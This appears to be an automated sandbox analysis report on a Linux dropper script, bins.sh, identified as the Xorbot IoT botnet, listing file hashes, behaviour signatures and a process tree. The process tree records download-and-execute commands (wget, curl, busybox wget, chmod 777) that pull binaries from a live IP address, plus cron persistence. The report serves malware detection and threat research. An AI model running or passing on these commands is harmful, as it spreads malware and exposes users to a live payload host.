Analysis

  • max time kernel
    111s
  • max time network
    157s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    12/12/2024, 00:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8e91a79fc4643d1043539fbf479773de

  • SHA1

    c263691d4c03a21a2ecd42e3851c01f7e63f96a4

  • SHA256

    25bff07e80ec30f4adc57ac056e6853ad4e01fe0e565c546d9798e20ca112640

  • SHA512

    18fe143818c303acba1c37d4da2df6de7eb87c7be51ed023251d3fc88ed085a47e3e38f062ceafa26614e197718b76f2c6e682095ca9dcf25b2b520205a1d44a

  • SSDEEP

    192:/jCQURJoMZ4QBGb7/uTjDsoMZ4Qvn7/uTjiQUH:/jCQURJoMZ4QBGb7/uTjIoMZ4QP7/uTi

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2161) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Writes file to tmp directory
          PID:655
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:698
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Writes file to tmp directory
          PID:717
        • /bin/chmod
          chmod 777 woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • File and Directory Permissions Modification
          PID:725
        • /tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          ./woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:726
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:728
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:729
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:731
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:732
              • /bin/rm
                rm woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX
                2⤵
                  PID:736
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/ypC7J2PVHhmdH54tZdZPvLkmRHWTitt0z9
                  2⤵
                    PID:739

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX

                  Filesize

                  141KB

                  MD5

                  3ca8decdb1e52c423c521bfff02ac200

                  SHA1

                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                  SHA256

                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                  SHA512

                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                • /var/spool/cron/crontabs/tmp.sPfZMj

                  Filesize

                  210B

                  MD5

                  44b8cd4d3cf88d51826815e7a48e04a6

                  SHA1

                  d4449c847d8c03108c61b4402ce48b002d448d34

                  SHA256

                  04ae1c95cd90c02081a1736b0ee32777d92c0b703bd17c8113bfb2d0389c2629

                  SHA512

                  a60d92c0099c9ad21180bcb18f0994439e460a264c55ccfe02905fce86d1190b9dea2ec088b1655072c64240bec85fd5f476257ba63418a9e8ce918f2f0ee17f